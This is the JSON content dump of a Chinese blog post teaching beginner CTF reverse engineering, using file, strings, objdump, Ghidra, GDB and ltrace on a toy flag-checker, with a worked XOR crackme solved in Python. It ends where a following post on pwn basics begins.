[{"data":1,"prerenderedAt":12748},["ShallowReactive",2],{"category-data-example":3},[4,1378,2261,3268,4684,5743,6699,7798,8836,9816,10889],{"id":5,"title":6,"body":7,"description":1363,"extension":1364,"meta":1365,"navigation":1373,"ogImage":1367,"path":1374,"seo":1375,"stem":1376,"__hash__":1377},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":8,"value":9,"toc":1353},"minimark",[10,15,19,22,84,87,91,94,122,129,133,140,146,151,154,167,170,178,189,194,198,200,212,214,220,230,248,251,256,280,284,296,302,314,319,324,328,333,350,354,356,377,380,420,423,486,489,549,556,577,581,614,617,637,644,660,664,684,686,692,702,715,719,722,785,788,811,814,841,844,848,851,856,865,877,880,884,894,896,902,906,915,917,923,926,930,939,942,946,955,961,970,973,997,1004,1017,1020,1026,1029,1035,1039,1120,1130,1134,1141,1145,1150,1163,1179,1185,1189,1194,1203,1209,1218,1222,1227,1236,1305,1307,1313,1317,1330,1334,1338,1349],[11,12,14],"h3",{"id":13},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[16,17,18],"p",{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[16,20,21],{},"目标程序示例：",[23,24,29],"pre",{"className":25,"code":26,"language":27,"meta":28,"style":28},"language-bash shiki shiki-themes dracula","$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n","bash","",[30,31,32,45,68,78],"code",{"__ignoreMap":28},[33,34,37,41],"span",{"class":35,"line":36},"line",1,[33,38,40],{"class":39},"sAOxA","$",[33,42,44],{"class":43},"s-mGx"," ./checkflag\n",[33,46,48,51,54,58,61,65],{"class":35,"line":47},2,[33,49,50],{"class":39},"Usage:",[33,52,53],{"class":43}," ./checkflag",[33,55,57],{"class":56},"s0Tla"," \u003C",[33,59,60],{"class":43},"fla",[33,62,64],{"class":63},"sCdxs","g",[33,66,67],{"class":56},">\n",[33,69,71,73,75],{"class":35,"line":70},3,[33,72,40],{"class":39},[33,74,53],{"class":43},[33,76,77],{"class":43}," test\n",[33,79,81],{"class":35,"line":80},4,[33,82,83],{"class":39},"Wrong!\n",[16,85,86],{},"解题目标：通过分析二进制，找出正确输入。",[11,88,90],{"id":89},"二环境准备","二、环境准备",[16,92,93],{},"在 Linux（Kali/Ubuntu）上：",[23,95,97],{"className":25,"code":96,"language":27,"meta":28,"style":28},"apt install file binutils gdb ltrace strace\n",[30,98,99],{"__ignoreMap":28},[33,100,101,104,107,110,113,116,119],{"class":35,"line":36},[33,102,103],{"class":39},"apt",[33,105,106],{"class":43}," install",[33,108,109],{"class":43}," file",[33,111,112],{"class":43}," binutils",[33,114,115],{"class":43}," gdb",[33,117,118],{"class":43}," ltrace",[33,120,121],{"class":43}," strace\n",[16,123,124,125,128],{},"本文以编译后的 ",[30,126,127],{},"checkflag"," 为例，逐步演示。",[11,130,132],{"id":131},"三核心步骤-1侦查","三、核心步骤 1：侦查",[16,134,135,139],{},[136,137,138],"strong",{},"目的","：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[16,141,142,145],{},[136,143,144],{},"思路","：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[147,148,150],"h4",{"id":149},"_31-file看文件类型","3.1 file：看文件类型",[16,152,153],{},"输入：",[23,155,157],{"className":25,"code":156,"language":27,"meta":28,"style":28},"file checkflag\n",[30,158,159],{"__ignoreMap":28},[33,160,161,164],{"class":35,"line":36},[33,162,163],{"class":39},"file",[33,165,166],{"class":43}," checkflag\n",[16,168,169],{},"预期输出：",[23,171,176],{"className":172,"code":174,"language":175,"meta":28},[173],"language-text","checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n","text",[30,177,174],{"__ignoreMap":28},[16,179,180,181,184,185,188],{},"重点看最后：",[30,182,183],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[30,186,187],{},"stripped","，函数名被删，难度更高。",[16,190,191,193],{},[136,192,138],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[147,195,197],{"id":196},"_32-strings提取字符串","3.2 strings：提取字符串",[16,199,153],{},[23,201,203],{"className":25,"code":202,"language":27,"meta":28,"style":28},"strings checkflag\n",[30,204,205],{"__ignoreMap":28},[33,206,207,210],{"class":35,"line":36},[33,208,209],{"class":39},"strings",[33,211,166],{"class":43},[16,213,169],{},[23,215,218],{"className":216,"code":217,"language":175,"meta":28},[173],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[30,219,217],{"__ignoreMap":28},[16,221,222,223,225,226,229],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[30,224,209],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[30,227,228],{},"-n"," 指定：",[23,231,233],{"className":25,"code":232,"language":27,"meta":28,"style":28},"strings -n 3 checkflag\n",[30,234,235],{"__ignoreMap":28},[33,236,237,239,243,246],{"class":35,"line":36},[33,238,209],{"class":39},[33,240,242],{"class":241},"sIQBb"," -n",[33,244,245],{"class":241}," 3",[33,247,166],{"class":43},[16,249,250],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[16,252,253,255],{},[136,254,138],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[16,257,258,260,261,264,265,264,268,271,272,275,276,279],{},[136,259,144],{},"：输出里的 ",[30,262,263],{},"Usage: ./checkflag \u003Cflag>","、",[30,266,267],{},"Correct!",[30,269,270],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[30,273,274],{},"k3y","），先用 ",[30,277,278],{},"-n 3"," 确认——可能正是加密密钥。",[147,281,283],{"id":282},"_33-运行程序观察行为","3.3 运行程序观察行为",[23,285,287],{"className":25,"code":286,"language":27,"meta":28,"style":28},"./checkflag test\n",[30,288,289],{"__ignoreMap":28},[33,290,291,294],{"class":35,"line":36},[33,292,293],{"class":39},"./checkflag",[33,295,77],{"class":43},[16,297,298,299,301],{},"输出：",[30,300,270],{},"。",[23,303,305],{"className":25,"code":304,"language":27,"meta":28,"style":28},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[30,306,307],{"__ignoreMap":28},[33,308,309,311],{"class":35,"line":36},[33,310,293],{"class":39},[33,312,313],{"class":43}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[16,315,298,316,318],{},[30,317,270],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[16,320,321,323],{},[136,322,138],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[11,325,327],{"id":326},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[16,329,330,332],{},[136,331,138],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[16,334,335,337,338,341,342,345,346,349],{},[136,336,144],{},"：程序要么比较字符串（",[30,339,340],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[30,343,344],{},"call","（函数调用）和 ",[30,347,348],{},"je/jne","（条件跳转）就能定位判断点。",[147,351,353],{"id":352},"_41-objdump-看-main","4.1 objdump 看 main",[16,355,153],{},[23,357,359],{"className":25,"code":358,"language":27,"meta":28,"style":28},"objdump -d -M intel checkflag\n",[30,360,361],{"__ignoreMap":28},[33,362,363,366,369,372,375],{"class":35,"line":36},[33,364,365],{"class":39},"objdump",[33,367,368],{"class":241}," -d",[33,370,371],{"class":241}," -M",[33,373,374],{"class":43}," intel",[33,376,166],{"class":43},[16,378,379],{},"输出很长，用 grep 只看 main：",[23,381,383],{"className":25,"code":382,"language":27,"meta":28,"style":28},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[30,384,385],{"__ignoreMap":28},[33,386,387,389,391,393,395,398,401,404,407,410,414,417],{"class":35,"line":36},[33,388,365],{"class":39},[33,390,368],{"class":241},[33,392,371],{"class":241},[33,394,374],{"class":43},[33,396,397],{"class":43}," checkflag",[33,399,400],{"class":56}," |",[33,402,403],{"class":39}," grep",[33,405,406],{"class":241}," -A",[33,408,409],{"class":241}," 40",[33,411,413],{"class":412},"seVfx"," '",[33,415,416],{"class":43},"\u003Cmain>",[33,418,419],{"class":412},"'\n",[16,421,422],{},"预期输出（节选）：",[23,424,428],{"className":425,"code":426,"language":427,"meta":28,"style":28},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n 1189: push rbp\n 118a: mov rbp, rsp\n 1191: cmp edi, 0x2\n 1194: jne 0x11a0\n 119e: call 0x1149 \u003Ccheck>\n 11a3: test eax, eax\n 11a5: je 0x11b5\n 11a7: lea rdi, [rip+0x2ea]\n 11ae: call puts@plt\n","asm",[30,429,430,435,440,445,450,456,462,468,474,480],{"__ignoreMap":28},[33,431,432],{"class":35,"line":36},[33,433,434],{},"0000000000001189 \u003Cmain>:\n",[33,436,437],{"class":35,"line":47},[33,438,439],{}," 1189: push rbp\n",[33,441,442],{"class":35,"line":70},[33,443,444],{}," 118a: mov rbp, rsp\n",[33,446,447],{"class":35,"line":80},[33,448,449],{}," 1191: cmp edi, 0x2\n",[33,451,453],{"class":35,"line":452},5,[33,454,455],{}," 1194: jne 0x11a0\n",[33,457,459],{"class":35,"line":458},6,[33,460,461],{}," 119e: call 0x1149 \u003Ccheck>\n",[33,463,465],{"class":35,"line":464},7,[33,466,467],{}," 11a3: test eax, eax\n",[33,469,471],{"class":35,"line":470},8,[33,472,473],{}," 11a5: je 0x11b5\n",[33,475,477],{"class":35,"line":476},9,[33,478,479],{}," 11a7: lea rdi, [rip+0x2ea]\n",[33,481,483],{"class":35,"line":482},10,[33,484,485],{}," 11ae: call puts@plt\n",[16,487,488],{},"逐行解释：",[490,491,492,505],"table",{},[493,494,495],"thead",{},[496,497,498,502],"tr",{},[499,500,501],"th",{},"指令",[499,503,504],{},"含义",[506,507,508,519,529,539],"tbody",{},[496,509,510,516],{},[511,512,513],"td",{},[30,514,515],{},"cmp edi, 0x2",[511,517,518],{},"比较参数个数 argc 是否为 2",[496,520,521,526],{},[511,522,523],{},[30,524,525],{},"call check",[511,527,528],{},"调用校验函数 check",[496,530,531,536],{},[511,532,533],{},[30,534,535],{},"test eax, eax",[511,537,538],{},"检查返回值是否为 0",[496,540,541,546],{},[511,542,543],{},[30,544,545],{},"je 0x11b5",[511,547,548],{},"为 0 则跳到打印 Wrong 的地方",[16,550,551,552,555],{},"结论：逻辑在 ",[30,553,554],{},"check"," 函数里。",[16,557,558,561,562,564,565,567,568,571,572,574,575,301],{},[136,559,560],{},"怎么想到看 check","：",[30,563,525],{}," 之后紧跟 ",[30,566,535],{}," 和 ",[30,569,570],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[30,573,554],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[30,576,554],{},[147,578,580],{"id":579},"_42-看-check","4.2 看 check",[23,582,584],{"className":25,"code":583,"language":27,"meta":28,"style":28},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[30,585,586],{"__ignoreMap":28},[33,587,588,590,592,594,596,598,600,602,604,607,609,612],{"class":35,"line":36},[33,589,365],{"class":39},[33,591,368],{"class":241},[33,593,371],{"class":241},[33,595,374],{"class":43},[33,597,397],{"class":43},[33,599,400],{"class":56},[33,601,403],{"class":39},[33,603,406],{"class":241},[33,605,606],{"class":241}," 50",[33,608,413],{"class":412},[33,610,611],{"class":43},"\u003Ccheck>",[33,613,419],{"class":412},[16,615,616],{},"如果看到：",[23,618,620],{"className":425,"code":619,"language":427,"meta":28,"style":28},"call strcmp@plt\ntest eax, eax\nje ...\n",[30,621,622,627,632],{"__ignoreMap":28},[33,623,624],{"class":35,"line":36},[33,625,626],{},"call strcmp@plt\n",[33,628,629],{"class":35,"line":47},[33,630,631],{},"test eax, eax\n",[33,633,634],{"class":35,"line":70},[33,635,636],{},"je ...\n",[16,638,639,640,643],{},"说明是字符串比较，flag 就藏在 ",[30,641,642],{},".rodata"," 里。",[16,645,646,561,649,652,653,656,657,659],{},[136,647,648],{},"验证方式",[30,650,651],{},"call strcmp@plt"," 前面通常有一条 ",[30,654,655],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[30,658,642],{}," 里找内容即可。",[147,661,663],{"id":662},"_43-看只读数据段","4.3 看只读数据段",[23,665,667],{"className":25,"code":666,"language":27,"meta":28,"style":28},"objdump -s -j .rodata checkflag\n",[30,668,669],{"__ignoreMap":28},[33,670,671,673,676,679,682],{"class":35,"line":36},[33,672,365],{"class":39},[33,674,675],{"class":241}," -s",[33,677,678],{"class":241}," -j",[33,680,681],{"class":43}," .rodata",[33,683,166],{"class":43},[16,685,169],{},[23,687,690],{"className":688,"code":689,"language":175,"meta":28},[173],"...\n 402000 636f6e67726174756c6174696f6e73 00 \"congratulations\"\n",[30,691,689],{"__ignoreMap":28},[16,693,694,695,698,699,301],{},"ASCII 十六进制 ",[30,696,697],{},"63 6f 6e 67..."," 解出来就是 ",[30,700,701],{},"congratulations",[16,703,704,707,708,710,711,714],{},[136,705,706],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[30,709,642],{},"，",[30,712,713],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[147,716,718],{"id":717},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[16,720,721],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[23,723,725],{"className":25,"code":724,"language":27,"meta":28,"style":28},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[30,726,727,739,754,766],{"__ignoreMap":28},[33,728,729,731,733,736],{"class":35,"line":36},[33,730,103],{"class":39},[33,732,106],{"class":43},[33,734,735],{"class":43}," openjdk-21-jdk",[33,737,738],{"class":43}," unzip\n",[33,740,741,744,747,751],{"class":35,"line":47},[33,742,743],{"class":39},"wget",[33,745,746],{"class":43}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[33,748,750],{"class":749},"sqerP","*",[33,752,753],{"class":43},".zip\n",[33,755,756,759,762,764],{"class":35,"line":70},[33,757,758],{"class":39},"unzip",[33,760,761],{"class":43}," ghidra_",[33,763,750],{"class":749},[33,765,753],{"class":43},[33,767,768,772,774,776,779,782],{"class":35,"line":80},[33,769,771],{"class":770},"sLL85","cd",[33,773,761],{"class":43},[33,775,750],{"class":749},[33,777,778],{"class":43},"_PUBLIC",[33,780,781],{"class":63}," && ",[33,783,784],{"class":39},"./ghidraRun\n",[16,786,787],{},"操作步骤：",[789,790,791,795,801,804],"ol",{},[792,793,794],"li",{},"File → New Project → 命名。",[792,796,797,798,800],{},"把 ",[30,799,127],{}," 拖进项目，双击导入。",[792,802,803],{},"等待自动分析完成。",[792,805,806,807,810],{},"左侧 Symbol Tree 双击 ",[30,808,809],{},"main","，右侧 Decompiler 显示伪代码。",[16,812,813],{},"预期伪代码：",[23,815,819],{"className":816,"code":817,"language":818,"meta":28,"style":28},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n puts(\"Correct!\");\nelse\n puts(\"Wrong!\");\n","c",[30,820,821,826,831,836],{"__ignoreMap":28},[33,822,823],{"class":35,"line":36},[33,824,825],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[33,827,828],{"class":35,"line":47},[33,829,830],{}," puts(\"Correct!\");\n",[33,832,833],{"class":35,"line":70},[33,834,835],{},"else\n",[33,837,838],{"class":35,"line":80},[33,839,840],{}," puts(\"Wrong!\");\n",[16,842,843],{},"flag 直接可见。",[11,845,847],{"id":846},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[16,849,850],{},"静态分析看不懂时，让程序跑起来。",[16,852,853,855],{},[136,854,138],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[16,857,858,860,861,864],{},[136,859,144],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[30,862,863],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[23,866,868],{"className":25,"code":867,"language":27,"meta":28,"style":28},"gdb ./checkflag\n",[30,869,870],{"__ignoreMap":28},[33,871,872,875],{"class":35,"line":36},[33,873,874],{"class":39},"gdb",[33,876,44],{"class":43},[16,878,879],{},"进入 GDB 交互后：",[147,881,883],{"id":882},"_51-下断点","5.1 下断点",[23,885,888],{"className":886,"code":887,"language":874,"meta":28,"style":28},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[30,889,890],{"__ignoreMap":28},[33,891,892],{"class":35,"line":36},[33,893,887],{},[16,895,169],{},[23,897,900],{"className":898,"code":899,"language":175,"meta":28},[173],"Breakpoint 1 at 0x1149\n",[30,901,899],{"__ignoreMap":28},[147,903,905],{"id":904},"_52-带参数运行","5.2 带参数运行",[23,907,909],{"className":886,"code":908,"language":874,"meta":28,"style":28},"(gdb) run test\n",[30,910,911],{"__ignoreMap":28},[33,912,913],{"class":35,"line":36},[33,914,908],{},[16,916,169],{},[23,918,921],{"className":919,"code":920,"language":175,"meta":28},[173],"Breakpoint 1, 0x0000555555555149 in check ()\n",[30,922,920],{"__ignoreMap":28},[16,924,925],{},"程序停在 check 入口。",[147,927,929],{"id":928},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[23,931,933],{"className":886,"code":932,"language":874,"meta":28,"style":28},"(gdb) x/20i $rip\n",[30,934,935],{"__ignoreMap":28},[33,936,937],{"class":35,"line":36},[33,938,932],{},[16,940,941],{},"输出 check 函数开头的 20 条汇编。",[147,943,945],{"id":944},"_54-单步并观察比较","5.4 单步并观察比较",[23,947,949],{"className":886,"code":948,"language":874,"meta":28,"style":28},"(gdb) stepi\n",[30,950,951],{"__ignoreMap":28},[33,952,953],{"class":35,"line":36},[33,954,948],{},[16,956,957,958,960],{},"反复执行直到看到 ",[30,959,651],{},"。然后：",[23,962,964],{"className":886,"code":963,"language":874,"meta":28,"style":28},"(gdb) x/s $rsi\n",[30,965,966],{"__ignoreMap":28},[33,967,968],{"class":35,"line":36},[33,969,963],{},[16,971,972],{},"预期输出：程序正在比较的字符串，即 flag。",[16,974,975,561,978,981,982,985,986,989,990,981,993,996],{},[136,976,977],{},"补充说明",[30,979,980],{},"x/s"," 的 ",[30,983,984],{},"s"," 表示按字符串显示；",[30,987,988],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[30,991,992],{},"strcmp(a, b)",[30,994,995],{},"b"," 就存在这里。",[16,998,999,1000,1003],{},"补充：如果嫌 GDB 麻烦，",[30,1001,1002],{},"ltrace"," 直接跟踪库调用：",[23,1005,1007],{"className":25,"code":1006,"language":27,"meta":28,"style":28},"ltrace ./checkflag test\n",[30,1008,1009],{"__ignoreMap":28},[33,1010,1011,1013,1015],{"class":35,"line":36},[33,1012,1002],{"class":39},[33,1014,53],{"class":43},[33,1016,77],{"class":43},[16,1018,1019],{},"预期输出中会出现：",[23,1021,1024],{"className":1022,"code":1023,"language":175,"meta":28},[173],"strcmp(\"test\", \"congratulations\") = 1\n",[30,1025,1023],{"__ignoreMap":28},[16,1027,1028],{},"flag 一目了然。",[16,1030,1031,1034],{},[136,1032,1033],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[11,1036,1038],{"id":1037},"六必学工具","六、必学工具",[490,1040,1041,1054],{},[493,1042,1043],{},[496,1044,1045,1048,1051],{},[499,1046,1047],{},"工具",[499,1049,1050],{},"核心功能",[499,1052,1053],{},"命令示例",[506,1055,1056,1068,1086,1101],{},[496,1057,1058,1060,1063],{},[511,1059,163],{},[511,1061,1062],{},"看类型、位数、是否 stripped",[511,1064,1065],{},[30,1066,1067],{},"file checkflag",[496,1069,1070,1072,1075],{},[511,1071,209],{},[511,1073,1074],{},"提取字符串、指定最小长度、管道过滤",[511,1076,1077,264,1080,264,1083],{},[30,1078,1079],{},"strings checkflag",[30,1081,1082],{},"strings -n 3 a",[30,1084,1085],{},"strings a | grep flag",[496,1087,1088,1090,1093],{},[511,1089,365],{},[511,1091,1092],{},"反汇编、看数据段、Intel 语法",[511,1094,1095,264,1098],{},[30,1096,1097],{},"objdump -d -M intel a",[30,1099,1100],{},"objdump -s -j .rodata a",[496,1102,1103,1106,1109],{},[511,1104,1105],{},"GDB",[511,1107,1108],{},"断点、运行、看内存/寄存器",[511,1110,1111,264,1114,264,1117],{},[30,1112,1113],{},"break check",[30,1115,1116],{},"run",[30,1118,1119],{},"x/20i $rip",[16,1121,1122,1123,1125,1126,1129],{},"另：Ghidra 负责把汇编还原成伪代码；",[30,1124,1002],{},"/",[30,1127,1128],{},"strace"," 负责快速跟踪函数与系统调用。",[11,1131,1133],{"id":1132},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[16,1135,1136,1137,1140],{},"题目：",[30,1138,1139],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[147,1142,1144],{"id":1143},"第一步侦查","第一步：侦查",[16,1146,1147,1149],{},[136,1148,138],{},"：先找密钥与提示。",[16,1151,1152,561,1154,1156,1157,1159,1160,1162],{},[136,1153,144],{},[30,1155,209],{}," 默认漏掉短串，所以用 ",[30,1158,278],{},"；看到 ",[30,1161,274],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[23,1164,1166],{"className":25,"code":1165,"language":27,"meta":28,"style":28},"strings -n 3 crackme\n",[30,1167,1168],{"__ignoreMap":28},[33,1169,1170,1172,1174,1176],{"class":35,"line":36},[33,1171,209],{"class":39},[33,1173,242],{"class":241},[33,1175,245],{"class":241},[33,1177,1178],{"class":43}," crackme\n",[16,1180,1181,1182,1184],{},"预期输出中有 ",[30,1183,274],{},"——疑似密钥。",[147,1186,1188],{"id":1187},"第二步反编译-check","第二步：反编译 check",[16,1190,1191,1193],{},[136,1192,138],{},"：确认密钥如何使用、密文数组是什么。",[16,1195,1196,1198,1199,1202],{},[136,1197,648],{},"：伪代码 ",[30,1200,1201],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[16,1204,1205,1206,1208],{},"用 Ghidra 打开，",[30,1207,554],{}," 伪代码：",[23,1210,1212],{"className":816,"code":1211,"language":818,"meta":28,"style":28},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[30,1213,1214],{"__ignoreMap":28},[33,1215,1216],{"class":35,"line":36},[33,1217,1211],{},[147,1219,1221],{"id":1220},"第三步写脚本逆运算","第三步：写脚本逆运算",[16,1223,1224,1226],{},[136,1225,138],{},"：把\"加密\"反过来算，得到明文。",[16,1228,1229,1231,1232,1235],{},[136,1230,144],{},"：异或的自反性 ",[30,1233,1234],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[23,1237,1241],{"className":1238,"code":1239,"language":1240,"meta":28,"style":28},"language-python shiki shiki-themes dracula","enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n 0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n 0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\" # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n","python",[30,1242,1243,1248,1253,1258,1263,1268,1273,1278,1283,1288,1293,1299],{"__ignoreMap":28},[33,1244,1245],{"class":35,"line":36},[33,1246,1247],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[33,1249,1250],{"class":35,"line":47},[33,1251,1252],{}," 0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[33,1254,1255],{"class":35,"line":70},[33,1256,1257],{}," 0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[33,1259,1260],{"class":35,"line":80},[33,1261,1262],{},"key = b\"k3y\" # 从 strings 找到的密钥\n",[33,1264,1265],{"class":35,"line":452},[33,1266,1267],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[33,1269,1270],{"class":35,"line":458},[33,1271,1272],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[33,1274,1275],{"class":35,"line":464},[33,1276,1277],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[33,1279,1280],{"class":35,"line":470},[33,1281,1282],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[33,1284,1285],{"class":35,"line":476},[33,1286,1287],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[33,1289,1290],{"class":35,"line":482},[33,1291,1292],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[33,1294,1296],{"class":35,"line":1295},11,[33,1297,1298],{},"print(flag.decode())\n",[33,1300,1302],{"class":35,"line":1301},12,[33,1303,1304],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[16,1306,298],{},[23,1308,1311],{"className":1309,"code":1310,"language":175,"meta":28},[173],"ctf{reverse_engineering}\n",[30,1312,1310],{"__ignoreMap":28},[147,1314,1316],{"id":1315},"第四步验证","第四步：验证",[23,1318,1320],{"className":25,"code":1319,"language":27,"meta":28,"style":28},"./crackme ctf{reverse_engineering}\n",[30,1321,1322],{"__ignoreMap":28},[33,1323,1324,1327],{"class":35,"line":36},[33,1325,1326],{"class":39},"./crackme",[33,1328,1329],{"class":43}," ctf{reverse_engineering}\n",[16,1331,298,1332,301],{},[30,1333,267],{},[11,1335,1337],{"id":1336},"八小结","八、小结",[16,1339,1340,1341,1125,1343,1345,1346,1348],{},"逆向入门三步：",[30,1342,163],{},[30,1344,209],{}," 侦查 → ",[30,1347,365],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1350,1351,1352],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":28,"searchDepth":47,"depth":47,"links":1354},[1355,1356,1357,1358,1359,1360,1361,1362],{"id":13,"depth":70,"text":14},{"id":89,"depth":70,"text":90},{"id":131,"depth":70,"text":132},{"id":326,"depth":70,"text":327},{"id":846,"depth":70,"text":847},{"id":1037,"depth":70,"text":1038},{"id":1132,"depth":70,"text":1133},{"id":1336,"depth":70,"text":1337},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。","md",{"date":1366,"image":1367,"alt":1368,"tags":1369,"published":1373},"14th Aug 2026","/blogs-img/blog1.png","CTF 逆向入门",[1370,1371,1372],"ctf","reverse","example",true,"/blogs/ctf-reverse-overview",{"title":6,"description":1363},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":1379,"title":1380,"body":1381,"description":2252,"extension":1364,"meta":2253,"navigation":1373,"ogImage":2254,"path":2257,"seo":2258,"stem":2259,"__hash__":2260},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":8,"value":1382,"toc":2240},[1383,1387,1394,1400,1402,1404,1431,1435,1441,1544,1547,1583,1587,1592,1597,1599,1615,1617,1623,1626,1684,1688,1694,1700,1707,1776,1781,1785,1789,1827,1829,1835,1839,1847,1857,1866,1870,1915,1925,1929,1934,1939,2008,2011,2017,2028,2032,2107,2111,2119,2122,2135,2146,2151,2156,2213,2215,2221,2225,2237],[11,1384,1386],{"id":1385},"一现实背景gets-为什么危险","一、现实背景：gets 